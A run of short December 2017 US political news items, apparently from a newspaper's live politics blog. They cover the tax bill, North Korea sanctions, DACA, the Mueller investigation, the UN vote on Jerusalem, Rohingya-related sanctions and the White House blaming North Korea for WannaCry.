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U.S. and Turkey resume reciprocal issuing of visas but frictions remain By Tracy Wilkinson The United States and Turkey began issuing reciprocal visas again on Thursday, more than two months after normal visa service was suspended in a dispute over the arrest of two U.S. diplomatic staffers in Istanbul  the latest friction between the two nominal allies. The State Department said it was lifting the visa restrictions after it was assured by the Turkish government that U.S. Embassy employees would not be arrested when performing their official duties. But the Turkish Embassy in Washington denied assurances were offered concerning the ongoing judicial processes, and suggested that the arrests were legal and justified. It is inappropriate to misinform the Turkish and American public that such assurances were provided, the embassy said in a statement. The dispute has aggravated the already tense relationship between the United States and Turkey, which is a member of the NATO military alliance. The two countries have clashed over U.S. support for Kurdish rebels in Syria and over Turkeys demands that the U.S. extradite a Turkish cleric who lives in rural Pennsylvania. After a failed coup attempt killed more than 250 people in July 2016, Turkeys autocratic president, Recep Tayyip Erdogan, launched a harsh crackdown on his political opponents, arresting or firing tens of thousands of teachers, police, journalists, military officers and others. Erdogan accused Fethullah Gulen, an Islamic educator and former political ally, of orchestrating the coup. Gulen, who has lived in a compound in the Pocono Mountains, has denied any involvement. The Justice Department has so far denied Turkeys repeated demands to extradite Gulen. Erdogan raised the issue again at the White House in May, but his visit ended in a public relations disaster when his security guards brutally beat peaceful protesters outside the Turkish ambassadors residence. Two Turkish employees of the U.S. Consulate in Istanbul were arrested this fall for alleged ties to the 2016 coup attempt. The U.S. responded by suspending most visa services at its missions in Turkey in October. The Turkish government reciprocated in November. State Department officials said they have repeatedly demanded more information about any formal charges against the two employees. They reiterated on Thursday that serious concerns about the allegations remained. Facebook

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Trump: China caught RED HANDED allowing oil to reach North Korea By Brian Bennett (Andrew Harnik / Associated Press) President Trump isnt taking a holiday vacation from Twitter. In one of three tweets early on Thursday from his West Palm Beach golf club, he charged that China was caught RED HANDED allowing oil shipments to reach North Korean ports. Pronouncing himself very disappointed, Trump in effect was acknowledging the failure of his months-long effort to convince China to clamp down further on energy shipments going to the isolated country, which relies heavily on Beijing, as a way to pressure North Korea to abandon its nuclear weapons program. Caught RED HANDED - very disappointed that China is allowing oil to go into North Korea. There will never be a friendly solution to the North Korea problem if this continues to happen!  Donald J. Trump (@realDonaldTrump) December 28, 2017 Trumps tweet came after a South Korean newspaper published what it said were U.S. spy satellite images of Chinese ships selling oil to North Korean ships. The United Nations Security Council, which includes China, has voted repeatedly to restrict fuel shipments to North Korea. Trump asked Chinese President Xi Jinping in November to cut off North Koreas oil supply entirely, the American ambassador to the U.N., Nikki R. Haley, said at the time. It is unclear if Trumps admonishment of China was based on news reports or classified information he received from U.S. intelligence officials. There was no daily intelligence briefing on Trumps public schedule Thursday. He is expected to return to Washington next week after spending the Christmas holiday and New Years Eve at his Mar-a-Lago resort in Palm Beach, Fla. Facebook

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President Trump again falsely claims hes signed more bills than any president By Brian Bennett President Trump visits a firehouse in West Palm Beach, Fla., on Wednesday. (Nicholas Kamm / AFP) After another morning at his Florida golf club, President Trump visited firefighters and paramedics at a West Palm Beach firehouse and praised his own performance as president, including with a false boast. Trump touted his administrations work to roll back government regulations and cut taxes and claimed credit for the stock market hitting record highs. He also said hes signed more bills into law than any other president, which isnt true. We have signed more legislation than anybody, Trump said, standing in front of a rescue vehicle inside the fire station. We have more legislation passed, including  the record was Harry Truman a long time ago, and we broke that record, so we got a lot done, Trump said. An analysis by GovTrack, a website that tracks bills in Congress, shows that Trump has signed the fewest bills into law at this point than any president in more than 60 years, back to Dwight D. Eisenhower. Facebook

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Trump administration urges Russia to reinstate monitors in Ukraine, lower violence By Tracy Wilkinson Sergei Lavrov (AFP/Getty Images) Secretary of State Rex Tillerson asked Russia on Wednesday to reinstate its military personnel at a monitoring station in eastern Ukraine intended to quell escalating bloodshed. In a telephone conversation with his Russian counterpart, Sergei Lavrov, Tillerson also urged Russia to lower the level of violence and underscored the Trump administrations concern over increased fighting in Ukraine, the State Department said in a statement. Russia last week withdrew its monitors from the Joint Center on Coordination and Control, which is tasked with verifying a much-violated ceasefire between Ukrainian forces and Russia-backed separatists. Moscow cited what it called restrictions and provocations from Ukrainian authorities that made it impossible for the observers to do their jobs. Washington has accused the pro-Russia forces of being responsible for many of the truce violations. Late last week, the State Department also announced plans to provide Ukraine with lethal defensive weapons, including Javelin anti-tank missiles, a decision that angered Moscow. The State Department statement did not say whether the weapons deal came up in Tillersons conversation with Lavrov. The two also discussed North Korea, its destabilizing nuclear program and the need for a diplomatic solution to achieve a denuclearized Korean peninsula, the statement said. Russia has offered to serve as a mediator between Washington and Pyongyang, but direct talks do not seem likely at this point. Facebook

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U.S. sanctions two more North Korean officials for ballistic missile program By Tracy Wilkinson The Trump administration announced sanctions Tuesday against two more North Korean officials for their alleged role in Pyongyangs expanding ballistic missiles program. The Treasury Department is targeting leaders of North Koreas ballistic missile programs, as part of our maximum pressure campaign to isolate [North Korea] and achieve a fully denuclearized Korean Peninsula, Treasury Secretary Steven T. Mnuchin said in a statement. The nuclear-armed country tested an intercontinental ballistic missile last month that U.S. officials said appeared capable of reaching New York or Washington, a significant milestone in the countrys growing arsenal. The Treasury Department identified the two North Korean officials as Kim Jong Sik, who reportedly is a key figure in the ballistic missile program and led efforts to switch missiles from liquid to solid fuel (which makes them easier to hide before launch), and Ri Pyong Chol, who was reported to be a key official in the development of intercontinental ballistic missiles. The sanctions block banks, companies and individuals from doing any business with the targeted officials. It also allows the U.S. government to freeze any American assets owned by the officials. On Friday, the United Nations Security Council unanimously voted to add more sanctions on North Korea, its third round this year. The new measures order North Koreans working abroad to return home within two years, and ban nearly 90% of refined petroleum exports to the country. In a statement published Sunday by North Koreas state-run KCNA news agency, the foreign ministry denounced the new U.N. sanctions as an act of war. We define this sanctions resolution rigged up by the US and its followers as a grave infringement upon the sovereignty of our Republic, as an act of war violating peace and stability in the Korean Peninsula and the region and categorically reject the resolution, it said. Facebook

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Salt Lake Tribune calls on Sen. Orrin Hatch to not seek reelection in scathing editorial Perhaps the most significant move of Hatchs career is the one that should, if there is any justice, end it. The last time the senator was up for reelection, in 2012, he promised that it would be his last campaign. That was enough for many likely successors, of both parties, to stand down, to let the elder statesman have his victory tour and to prepare to run for an open seat in 2018. Clearly, it was a lie. Read the editorial>> Facebook

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Christmas Eve, Trump on Twitter: New attacks on FBI official, decrying Fake News By Laura King President Trump launched a Christmas Eve attack on FBI Deputy Director Andrew McCabe, whom he accuses of favoritism toward his former opponent, Hillary Clinton, and also returned to a longtime favored theme, excoriating the news media for failing to sufficiently extol his accomplishments. .@FoxNews-FBIs Andrew McCabe, in addition to his wife getting all of this money from M (Clinton Puppet), he was using, allegedly, his FBI Official Email Account to promote her campaign. You obviously cannot do this. These were the people who were investigating Hillary Clinton.  Donald J. Trump (@realDonaldTrump) December 24, 2017 Thank you President TRUMP!! pic.twitter.com/LKdkT0FL99  oregon4TRUMP (@shawgerald4) December 23, 2017 The Fake News refuses to talk about how Big and how Strong our BASE is. They show Fake Polls just like they report Fake News. Despite only negative reporting, we are doing well - nobody is going to beat us. MAKE AMERICA GREAT AGAIN!  Donald J. Trump (@realDonaldTrump) December 24, 2017 Trump, who is spending the holidays at his Florida resort, Mar-a-Lago, also sent Christmas greetings to deployed military personnel, praising them for success in the fight against terrorism. The early-morning swipe at McCabe followed a flurry of tweets attacking the deputy FBI chief on Saturday. McCabe, who has been a lightning rod for Republican attacks on the FBI, is expected to retire early in the new year. How can FBI Deputy Director Andrew McCabe, the man in charge, along with leakin James Comey, of the Phony Hillary Clinton investigation (including her 33,000 illegally deleted emails) be given $700,000 for wifes campaign by Clinton Puppets during investigation?  Donald J. Trump (@realDonaldTrump) December 23, 2017 FBI Deputy Director Andrew McCabe is racing the clock to retire with full benefits. 90 days to go?!!!  Donald J. Trump (@realDonaldTrump) December 23, 2017 Critics say the president and his allies are in the midst of a systematic campaign to denigrate the FBI and special counsel Robert S. Mueller III, who is looking into potential collusion by the Trump campaign in Russias attempts to sway the 2016 presidential election. In a pair of statements on Twitter, Trump again expressed scorn regarding news coverage of his administration. For months, the president has been particularly critical of reports regarding the Russia investigation and more recently has repeatedly complained he does not receive enough credit for a booming stock market. In his video conference message to troops overseas, the president made apparent reference to the fight against the militants of Islamic State, who over the last year have lost most of the territory they previously controlled in Iraq and Syria, including former strongholds in Mosul and Raqqah. Were winning, Trump told military personnel deployed in Qatar, Kuwait, Guantanamo Bay and aboard the guided missile destroyer Sampson. Reporters traveling with the president heard his address, but were ushered from the room before he took questions from the troops. The president often breaks with longtime custom and makes politically charged statements at events in which he addresses military personnel. Facebook

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Trumps Wells Fargo tweet cited in court hearing as reason to remove Mulvaney as CFPB acting chief By Jim Puzzanghera A recent tweet by President Trump about possible penalties against Wells Fargo & Co. was cited during a court hearing Friday as a reason for removing White House official Mick Mulvaney as acting director of the Consumer Financial Protection Bureau. The attorney for Leandra English  the bureaus deputy director who has said she is the rightful acting head  said Trumps tweet showed he was trying to exercise improper influence over the independent consumer watchdog. I think that [tweet] shows you this isnt just some hypothetical concern, the attorney, Deepak Gupta, told Judge Timothy J. Kelly of the U.S. District Court for the District of Columbia during a nearly two-hour hearing. Read More Facebook

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Trump administration recognizes Honduran presidents reelection By Tracy Wilkinson The Trump administration on Friday formally recognized the incumbent president of Honduras, conservative Juan Orlando Hernandez, as the winner of a bitterly contested presidential election held last month. In a statement, the State Department congratulated Hernandez while also acknowledging widespread irregularities in the Nov. 26 vote and calling for a robust national dialogue to overcome political discord in the Central American country, a close ally of the administration. The Organization of American States, which monitored the election, said it was so flawed that only a new round of voting could establish a fair and transparent outcome. But the U.S. rejected that determination. Uproar over the contest led to demonstrations in Honduras that left numerous civilians dead after state security forces opened fire on the protests. Activists and others voiced criticism Friday of the administrations decision. Rep. Jim McGovern (D-Mass.), a leading Democratic voice on Central American issues, said he was angry and deeply disturbed by the State Department decision. The recent elections in Honduras were deeply flawed, chaotic and marred by numerous irregularities, McGovern said. U.S.-Honduran cooperation on matters such as drug-trafficking, violence and immigration requires a credible, legitimate government that has the support of its people, in Honduras, McGovern said. Hernandezs victory also was controversial because it was the first time a sitting president was allowed to run for re-election, barred until now by the Honduran Constitution. Facebook

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Senate Leader Mitch McConnell says fixing DACA is no emergency until March By Lisa Mascaro Amanda Bayer, left with banner, and Marisol Maqueda, right, join a rally in support of so-called Dreamers outside the White House. (Manuel Balce Ceneta / Associated Press) Senate Majority Leader Mitch McConnell said Friday hes committed to allowing a vote on a bill for so-called Dreamers in January, but sees no rush to resolve the deportation threat posed by President Trumps decision to end a program protecting immigrants brought to the country illegally as children. There isnt that much of an emergency there, he said. There is no emergency until March. Well keep talking about it. Trump called for phasing out by March the Obama-era program that allows the young immigrants, many of them longtime residents, to get two-year deferrals of any deportation threat so they can legally attend school or work. Beneficiaries must be vetted for security purposes. Trump told Congress to come up with a legislative alternative for the Deferred Action for Childhood Arrivals program, which President Obama created by executive order, to protect those currently eligible. A bipartisan Senate group has been working with the White House, but talks stalled this week amid administration demands for curbs on legal immigration flows in exchange for protecting the DACA recipients. Meanwhile, Dreamers and immigrant advocates stormed the Capitol in recent days pressing for the help promised by Trump and Democratic congressional leaders that failed to materialize in the years final legislation. Advocacy groups say more than 120 immigrants each day are falling out of compliance without DACA renewals, putting them at risk of deportation. The number that is projected to swell to more than 1,000 a day in March. Weve been gridlocked on this issue for years, McConnell said. We want to have a signature. We dont just want to spin our wheels and have nothing to show for it. Facebook

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President Trump signs tax bill By Noah Bierman (Alex Brandon / Associated Press) President Trump on Friday morning signed a sweeping tax-cut measure  his first major legislative achievement  before heading off for a Christmas vacation at his Mar-a-Lago property in Palm Beach, Fla. The president also privately signed a short-term spending bill to fund government operations through Jan. 19. Congress approved it Thursday, after Republican leaders were unable to bridge differences in their own party as well as with Democrats to get agreement on funding for the full fiscal year. The stopgap bill punts fights on immigration and other issues to January. The tax bill, approved earlier this week in Congress in largely party-line votes, slashes corporate tax rates from 35% to 21% and also includes a host of other provisions for individuals, all intended to boost the economy. Critics point to nonpartisan analyses showing that the package, including changes greatly reducing the number of estates subject to taxes, steers the bulk of tax benefits to top earners and the wealthy, including Trump, despite his repeated claims that hell take a hit. Trump signed the bill quietly Friday, but held a public ceremony with Republican lawmakers on Wednesday after the bills passage; he also tweeted about the measure extensively. He is expected to hold another public ceremony after the New Years holiday. Facebook

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Pelosi urges Ryan to prevent Republicans from curtailing Houses Russia probe By Chris Megerian House Speaker Paul D. Ryan of Wisconsin greets House Minority Leader Nancy Pelosi of California. (J. Scott Applewhite / Associated Press) House Democratic Leader Nancy Pelosi sent a letter to Speaker Paul D. Ryan on Friday urging him to ensure the Houses investigation into Russian interference with last years presidential campaign is not cut short. The American people deserve a comprehensive and fair investigation into Russias attacks, wrote Pelosi, of San Francisco, in her letter. Political haste must not cut short valid investigatory threads. The House Intelligence Committee has been probing the issue since March 1, and Democrats have repeatedly warned that Republicans are trying to wrap up its work prematurely. Pelosi said Ryan, a Republican from Wisconsin, should take urgent action to ensure this investigation can continue. AshLee Strong, a spokeswoman for Ryan, said Pelosi simply wants to see this investigation go on forever in order to suit her political agenda. Whether it concludes next month, next year, or in three years, she will say it is too soon, Strong said in a statement. She added, The investigation will conclude when the committee has reached a conclusion. The committees work is led by Rep. K. Michael Conaway (R-Texas). His spokeswoman, Emily Hytha, said he remains committed to conducting this investigation as thoroughly and expeditiously as possible. With more interviews scheduled, the investigation shows signs of extending into next year, Bloomberg reported Friday. BREAKING: Steve Bannon and former Trump campaign manager Corey Lewandowski have been sent letters requesting they testify to House Intel panel in early January, per @HouseInSession  Laura Litvan (@LauraLitvan) December 22, 2017 Facebook

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Congress votes to avert government shutdown, but Senate fails to pass disaster aid package By Lisa Mascaro ( (J. Scott Applewhite / Associated Press)) Congress approved a temporary spending bill to prevent a government shutdown, but failed to complete work on an $81-billion disaster aid package to help California, Gulf Coast states and Puerto Rico recover from wildfires and hurricanes, as lawmakers scrambled Thursday to wrap up business before a Christmas break. The stopgap measure continues federal operations for a few more weeks, setting up another deadline for Jan. 19. But it left undone a long list of priorities that members of both parties had hoped to finish this year. Read More Facebook

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Wells Fargo says raises were not linked to tax bill passage  then backtracks By James Rufus Koren Wells Fargo & Co.s move to raise its minimum pay to $15 an hour was part of a long-term plan and not related to the passage of the Republican tax overhaul as the company implied, said a bank spokesman, who later backtracked and stated the hikes were a result of the bills approval. The bank was among several large corporations to publicly announce pay raises or new investments immediately following the final House vote in an apparent public relations offensive to boost the popularity of the tax bill The San Francisco bank had implied the direct linkage to the tax legislation in a news release Wednesday, shortly after Congress passed the tax overhaul, which slashes the corporate tax rate to 21% from 35% starting Jan. 1. Read More Facebook

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Obamacare signups beat expectations, despite Trump administrations opposition By Noam N. Levey President Trump with Seema Verma, administrator of the Centers for Medicare and Medicaid Services. (Evan Vucci / Associated Press) Despite Trump administration efforts to discourage people from signing up, the number of people enrolling for Affordable Care Act coverage nearly hit last years level, the government revealed Thursday. Exchange open enrollment for 2018 coverage ended w/ approx 8.8M people enrolling in coverage. Great job to the @CMSGov team for the work you did to make this the smoothest experience for consumers to date. We take pride in providing great customer service.  Administrator Seema Verma (@SeemaCMS) December 21, 2017 The 8.8 million people who enrolled in the 36 states that use the federal governments healthcare.gov system significantly exceeded most forecasts. The Trump administration stopped most outreach and other efforts this year aimed at getting people to sign up. The president also repeatedly said publicly that Obamacare was dead. Open enrollment continues in California and several other states that run their own healthcare marketplaces. The figures from the federal government indicate that when those states wrap up for the year, the number of people covered by Obamacare will be nearly the same as in 2017. Read More Facebook

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U.N. General Assembly overwhelmingly condemns U.S. policy change on Jerusalem despite Trumps threats By Tracy Wilkinson The United Nations General Assembly overwhelmingly voted Thursday to condemn President Trumps decision to recognize Jerusalem as the capital of Israel, despite Trumps threats to punish countries that voted against the U.S. position. The resolution passed in an emergency session at U.N. headquarters in New York with 128 in favor, nine opposed and 35 abstentions. The nonbinding resolution demands that Washington rescind its declaration, which included a plan to transfer the U.S. Embassy in Israel from Tel Aviv to Jerusalem in coming years. The resolution value is mostly symbolic, showing how isolated the U.S. is in the move. Nikki Haley, the U.S. ambassador to the U.N., warned this week that she would be taking names of countries that opposed the U.S., and Trump on Wednesday suggested he might cut U.S. aid to governments that voted in favor of the resolution. Let them vote against us, Trump said. Well save a lot. We dont care. The U.S. recognition of Jerusalem reversed decades of international consensus on the political status of the divided city. Palestinians claim East Jerusalem as their capital in a future independent state. Palestinian Foreign Minister Riad Malki said the U.N. was facing an unprecedented test and that history would remember those who stand by what is right. Facebook

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Democrats defend Robert Mueller, saying Russia investigation must be allowed to continue By Chris Megerian Rep. Maxine Waters (D-Los Angeles) speaking during a committee hearing earlier this year. (Molly Riley / Associated Press) House Democrats said they will fight Republican attempts to discredit and undermine the work of special counsel Robert S. Mueller III, who is investigating whether President Trumps associates helped Russian meddling in last years election. There is an organized effort by Republicans, in concert with Fox News, to spin a false narrative and conjure up outrageous scenarios to accuse special counsel Mueller of being biased, Rep. Maxine Waters (D-Los Angeles) said. Trump has said he has no plan to fire Mueller, but Democrats are alarmed by escalating criticism of the special counsels work. Why is the president afraid of the facts and the truth? Rep. Dan Kildee (D-Mich.) said. He added, No matter what the facts are, were satisfied if the investigation is complete. A letter of support signed by 171 Democratic members of Congress will be sent to Deputy Atty. Gen. Rod Rosenstein, who appointed Mueller, a former FBI director, and oversees his investigation. Rosenstein has defended Mueller in the face of Republican criticisms. Facebook

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U.S. blacklists Myanmar army general who it says oversaw atrocities against Rohingya Muslims By Shashank Bengali The Trump administration on Thursday blacklisted a Myanmar army general who it said oversaw human rights abuses committed by security forces against Rohingya Muslims. Imposing economic sanctions against the general, Maung Maung Soe, was the toughest action the United States has taken in response to a brutal army offensive that Secretary of State Rex Tillerson has described as ethnic cleansing. In a statement, the Treasury Department said it had examined credible evidence of Maung Maung Soes activities, including allegations against Burmese security forces of extrajudicial killings, sexual violence and arbitrary arrest as well as the widespread burning of villages. The Rohingya are an ethnic and religious minority of about 1 million people in predominantly Buddhist Myanmar, also known as Burma. The United Nations says that more than 640,000 Rohingya have fled the country since August, after the army launched clearance operations in response to attacks carried out by a Rohingya insurgent group against security forces. Rohingya refugees in crowded camps in neighboring Bangladesh have described horrific violence by Myanmar forces, including mass rapes, summary executions and children being burned alive. The aid group Doctors Without Borders estimates that 6,700 people were killed in the first month of the operation. Myanmar authorities deny committing atrocities and say that only a few hundred fighters were killed. Maung Maung Soe was chief of the armys Western Command, which carried out the offensive. He was transferred from his position last month, according to news reports. He was one of 13 individuals worldwide who were blacklisted Thursday under a new U.S. law that gives the Treasury Department authority to target officials for human rights abuses and corruption. Others included former Gambian President Yahya Jammeh; Gulnara Karimova, daughter of the late Uzbekistan dictator Islam Karimov; and Artem Chaika, son of Russias prosecutor-general. Today, the United States is taking a strong stand against human rights abuse and corruption globally by shutting these bad actors out of the U.S. financial system, said Treasury Secretary Steven T. Mnuchin. The sanctions freeze any assets Maung Maung Soe holds in the United States and bars Americans from doing business with him. It is also a sign of how quickly U.S. relations with Myanmar have soured. Under the Obama administration, the United States forged closer ties with the former military dictatorship and eased economic and political sanctions as the country began implementing democratic reforms. But Myanmar, which does not regard the Rohingya as citizens, has lashed out at the international community over the current crisis. It has jailed journalists, blocked access to affected areas in the western state of Rakhine and this week barred a U.N. human rights investigator from entering the country. Rohingya activists said the U.S. action would not have much effect on a country that survived under economic sanctions for years. It is the whole military institution that has a policy to persecute these people, said Nay San Lwin, a Rohingya activist and blogger in Germany. According to the U.S.s own definition, the army is carrying out ethnic cleansing. They have a responsibility to protect these people. Sanctions on one person are really not enough. Facebook

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Dreamers will have to wait until next year for Congress long-promised protections By Lisa Mascaro Amanda Bayer, left with banner, and Marisol Maqueda, right, join a rally in support of so-called Dreamers outside the White House. (Manuel Balce Ceneta / Associated Press)) A promised year-end deal to protect the young immigrants known as Dreamers from deportation collapsed Wednesday as Republicans in Congress  fresh off passage of their tax plan  prepared to punt nearly all remaining must-do agenda items into the new year. Congressional leaders still hope that before leaving town this week they can pass an $81-billion disaster relief package with recovery funds for California wildfires and Gulf Coast states hit during the devastating hurricane season. But passage even of that relatively popular measure remained in doubt as conservatives balked at the price tag. Rather than finish the year wrapping up the legislative agenda, the GOP majorities in the House and Senate struggled over their next steps. Read More Facebook

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Chants of protest drown out any caroling this holiday season at the Capitol By Lisa Mascaro U.S. Capitol Police arrest a man wearing a Santa Claus hat during a protest against the Republican tax bill. (Alex Edelman / AFP/Getty Image) Outside the U.S. Capitol, the lights on a towering Christmas tree are flipped on each evening, giving the Engelmann spruce a festive twinkle; inside the marble halls, wreaths and garlands decorate doorways and alcoves ahead of the holidays. But the spirit of the season has been punctuated by other sights: a Jumbotron parked across from the Capitol reflecting pool broadcasts images of young immigrants who face deportation; Little Lobbyists, children with complex medical needs, were featured in a recent news conference; protesters filed into the visitor galleries to shout against the Republican tax plan. While its beginning to look a lot like Christmas at the Capitol, its also shaping up to be a holiday season of protest. Read More Facebook

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Tax bill simplifies filing for some but complicates it for others  and dont count on that postcard By Jim Puzzanghera A priority of the Republicans tax overhaul was simplification, and they drove home the point this fall with an omnipresent prop: a red-white-and-blue postcard. Were making things so simple that you can do your taxes on a form the size of a postcard, House Speaker Paul Ryan (R-Wisc.) said last month, pulling one from his jacket pocket as he and Republican leaders unveiled their bill. They gave a couple of the cards to President Trump at a White House meeting a few hours later and flashed them often during news conferences and TV interviews in the coming days. Read More Facebook

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Top U.N. human rights official reportedly wont seek reelection The top United Nations official for human rights, who has frequently criticized the Trump administration, has reportedly decided not to seek a second term, saying his work had become untenable. Zeid Raad Hussein, the U.N. high commissioner for human rights, notified his staff in an email that was obtained by several news outlets, including Agence France-Presse. Staying when his four-year term is up for renewal at the end of August might involve bending a knee in supplication, AFP quoted Husseins email as saying. Hussein is a Jordanian prince who has criticized, among other things, President Trumps attempts to ban visitors or refugees from six predominantly Muslim countries. The news comes a day before the U.N. General Assembly is expected to vote on a nonbinding resolution condemning the Trump administrations formal declaration of Jerusalem as the capital of Israel, a decision that went against international consensus. Nikki Haley, the U.S. ambassador to the U.N., has warned she will be taking names of those who vote against the United States on Thursday. Trump echoed that sentiment Wednesday, voiced support for Haley and implying to reporters that he would consider cutting off U.S. aid to countries that vote against the U.S. Well, were watching those votes, Trump said. Let them vote against us. Well save a lot. We dont care. On Monday, the United States lost a Security Council vote 14-1 on a binding resolution that would have required Washington to rescind its declaration. Haley then vetoed the resolution. Facebook

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Top Democrat warns Trump not to fire Mueller or interfere with his investigation By Chris Megerian Sen. Mark Warner of Virginia, one of the top Democrats involved in the congressional inquiries into Russian interference in last years election, said Wednesday that any attempt by President Trump to interfere with the separate criminal investigation would be a gross abuse of power. Warner, who is vice chairman of the Senate Intelligence Committee, delivered his warning from the Senate floor as Republicans escalate their criticism of special counsel Robert S. Mueller III and his team of prosecutors and FBI agents. Some Democrats believe Trump is laying the groundwork to fire Mueller even though the president has publicly denied it. Mueller was appointed in May after Trump fired FBI Director James B. Comey. In the United States of America, no one, no one is above the law, not even the president, Warner said. Congress must make clear to the president that firing the special counsel or interfering with his investigation by issuing pardons of essential witnesses is unacceptable and would have immediate and significant consequences. Some Democrats say the White House may try to in effect short-circuit the Mueller investigation by replacing Deputy Atty. Gen. Rod Rosenstein, who is the only official empowered to fire Mueller. Rosenstein recently told Congress that the special counsel is acting appropriately and that he would not dismiss Mueller without just cause. Facebook

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We have essentially repealed Obamacare, Trump says after tax bill passes By Brian Bennett President Trump at a Cabinet meeting on Wednesday at the White House. (Chris Kleponis / Getty Images) President Trump is celebrating Republicans passage of the tax overhaul bill as a two-fer: On Wednesday, in addition to tax cuts, he checked off his promise to repeal Obamacare, pointing to a provision in the bill to end the penalty on Americans who dont get health insurance. We have essentially repealed Obamacare, Trump told reporters during a Cabinet meeting at the White House. Other provisions of the 2010 Affordable Care Act are still in place, and Trump and congressional Republicans failed completely on the replace half of their vow to repeal and replace the program. In Trumps view, however, stripping away the laws individual mandate to get insurance or else pay a tax penalty amounts to repeal of the whole law. Congressional analysts have said that millions of people would lose insurance as a result, either by choice or because they cannot afford it without subsidies, and that premiums would increase for others as younger, healthy people drop coverage. We will come up with something much better, Trump said, adding that block grants to states could be one approach. By his comments, Trump tacitly acknowledged that repeal of the mandate is likely the best he can do following Republicans failure this year to agree on a repeal-and-replace bill. Looking back on his first year, Trump also boasted of his administrations efforts against the Islamic State and increased immigration enforcement. He said he had not given up on funding a border wall or tightening immigration law to limit citizens ability to resettle foreign relatives in the country. He said he would very shortly visit the border with Mexico near San Diego to see wall prototypes that have been built. He didnt answer a reporters shouted question about how he would personally benefit from the tax bill. Facebook

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House gives final OK to GOP tax plan, sending it to Trump By Lisa Mascaro Congress gave final approval to the GOP tax plan Wednesday, 224-201, after the House took an unusual do-over vote to clear up differences with the Senate-passed bill. The $1.5-trillion package now heads to President Trump, who plans to sign it into law. The House had approved the tax bill on Tuesday but was forced to take another vote Wednesday because a couple of provisions in the version it approved were found to be in violation of Senate procedures. Those provisions were dropped before the Senate gave its approval early Wednesday. Critics complained the Republicans rushed to pass the sweeping tax plan to deliver Trump a year-end legislative victory, but supporters shrugged off the problems as minor. The tax plan dramatically cuts corporate rates and provides some individual rate reductions, overhauling the tax code for the first time in 30 years. Facebook

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Trump administration effort to block immigrant from having an abortion fails By David Savage Scott Lloyd is director of the Office of Refugee Resettlement at the U.S. Department of Health and Human Services. (Drew Angerer / Getty Images) President Trumps lawyers rushed to the Supreme Court and U.S. appeals court in Washington on Monday evening to file emergency appeals seeking to prevent an immigrant in detention, dubbed Jane Roe in court, from having an abortion. That set the stage for a legal showdown on whether the administration can block pregnant minors in custody from choosing to have an abortion. But the legal clash, which the administration has seemed eager to have, fizzled out Tuesday when the governments lawyers admitted the 17-year-old unaccompanied minor in their custody was actually 19. They said they had obtained her birth certificate and realized she was not a minor after all. As a result, Roe, who is 10 weeks pregnant, will no longer be held in a detention center for immigrant minors, and will not be subject to an administration policy that tries to prevent minors in immigration detention from having abortions. Administration lawyers told appeals court judges Tuesday night that Roe was being sent to a facility for adults and likely would be released until her immigration status can be resolved. In a brief order, the D.C. Circuit Court agreed to put the case on hold, but told government attorneys to confirm that she will be permitted to obtain an abortion. The administration had earlier tried to delay another young woman, referred to in court as Jane Poe, from having an abortion, but officials relented on Monday because she was 22 weeks pregnant and nearing the time limit for a legal abortion. Facebook

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Senate panel rejects Trumps pick to lead Export-Import Bank, a leader in the effort to shut it down By Jim Puzzanghera A Senate committee on Tuesday rejected President Trumps nominee to lead the Export-Import Bank, extending the chaos at the embattled agency whose job is to help U.S. companies sell their goods abroad. Two Republicans joined all Democrats on the Senate Banking Committee in voting against former Rep. Scott Garrett (R-N.J.) to be the banks president. Garrett had been a vocal critic of the Ex-Im Bank and a leader of a conservative effort that shut the bank down for five months in 2015 by blocking its congressional authorization. He and other bank opponents branded the banks aid as crony capitalism. Read More Facebook

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Congress proposes $81-billion disaster aid package, including funds for California wildfires By Lisa Mascaro Congress is set to consider an $81-billion disaster aid package that includes wildfire recovery money for California and other Western states as well as hurricane relief with a price tag reflecting a year of record-setting natural calamities. The legislation, the text of which was released late Monday, would provide almost twice as much as the $44 billion the White House sought last month to cover relief efforts along the Gulf Coast and in the Caribbean. Republican congressional leaders added more money after California lawmakers objected that the administration had failed to include help for areas damaged by wildfires and Democrats protested that the overall amount President Trump asked for was insufficient. Read More Facebook

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White House blames North Korea for worldwide WannaCry cyber attack By Noah Bierman The Royal London Hospital, a victim of the unprecedented global cyberattack in May. (Niklas Hallen / AFP/Getty Images) The White House officially blamed North Korea on Tuesday for the cyberattack in May known as WannaCry that infected hundreds of thousands of computers in 150 countries, affecting healthcare, financial services and vital infrastructure. Thomas P. Bossert, assistant to the president for homeland security and counter-terrorism, noted in a briefing with reporters that the consequences were beyond economic. He warned that North Koreas malicious behavior is growing more egregious. Bossert did not specify what evidence American officials have to blame North Korea, citing security issues, but he cited the countrys prior attacks as revealing hallmarks of how Pyongyang and its network of hackers operates. He said other allied countries had joined the United States in making the determination. The administration did not announce any penalties on the regime, which is already subject to severe sanctions over its nuclear program. They want to hold the entire world at risk, Bossert said of North Koreas rulers, referring to the nations nuclear and missile provocations as well as its alleged cyberattack. Given its isolation and international sanctions, North Korea is desperate for funds. Bossert said the country did not appear to make much money on the ransom attack, as word spread that paying a ransom did not result in getting computers unlocked. Its primary goal, he said, was spreading chaos. Bossert and Jeanette Manfra, assistant secretary of homeland security for cybersecurity and communication, said the United States, through a combination of preparation and luck, escaped the worst of the attack, as a patch to the malware was found before U.S. companies and other interests were severely crippled. However, Manfra said, We cannot be complacent. Bossert added, Next time were not going to get so lucky. Manfra praised Microsoft and Facebook for their efforts to combat WannaCry and to block more recent attempts to hack U.S. systems. She and Bossert urged more cooperation and information-sharing from American and multinational companies, arguing a united front is vital to protecting against bad actors who do not differentiate between government and business. Bossert rejected criticism that the the Trump administration has more aggressively called out North Korean cyberattacks than it has Russias meddling in the 2016 election. He said the administration has continued the national emergency initiated by President Obama. Facebook

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GOP lures some mountain bike groups in its push to roll back protections for public land By Evan Halper When their vision of creating a scenic cycling trail through a protected alpine backcountry hit a snag, San Diego area mountain bikers turned to an unlikely ally: congressional Republicans aiming to dilute conservation laws. The frustrations of the San Diego cycling group and a handful of similar organizations are providing tailwind to the GOP movement to lift restrictions on the countrys most ecologically fragile and pristine landscapes, officially designated wilderness. Resentment of these cyclists over the longstanding ban on mechanized transportation in that fraction of the nations public lands presents a political opportunity for Republicans eager to drill fissures in the broad coalition of conservation-minded groups united against the GOP environmental agenda. Read More Facebook

